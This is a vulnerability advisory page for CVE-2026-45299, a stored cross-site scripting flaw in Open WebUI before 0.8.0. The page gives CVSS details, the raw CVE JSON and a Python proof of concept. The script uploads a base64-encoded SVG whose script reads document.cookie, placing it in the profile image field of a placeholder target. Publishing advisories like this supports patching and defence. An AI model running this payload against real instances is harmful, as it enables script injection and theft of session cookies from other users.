Security Vulnerability Report
中文
CVE-2026-45299 CVSS 5.4 MEDIUM

CVE-2026-45299

Published: 2026-05-15 22:16:54
Last Modified: 2026-05-15 22:16:54

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, the profile_image_url field on the user profile update form accepted arbitrary data: URI values without MIME-type validation, resulting in a XSS vulnerability. This vulnerability is fixed in 0.8.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target API endpoint for updating user profile target_url = "http://target-open-webui-instance.com/api/v1/user/update" # Malicious payload using data URI with SVG containing JavaScript # Base64 encoded: <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg> xss_payload = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pjwvc3ZnPg==" # Headers with authentication token (replace with valid token) headers = { "Authorization": "Bearer <VALID_USER_TOKEN>", "Content-Type": "application/json" } # Data payload to update profile image payload_data = { "profile_image_url": xss_payload } try: # Send the POST request to update the profile response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Profile updated successfully. XSS Payload injected.") print("[+] Trigger the vulnerability by viewing the user profile.") else: print(f"[-] Failed to update profile. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45299", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:53.710", "lastModified": "2026-05-15T22:16:53.710", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, the profile_image_url field on the user profile update form accepted arbitrary data: URI values without MIME-type validation, resulting in a XSS vulnerability. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-6gh2-q7cp-9qf6", "source": "[email protected]"}]}}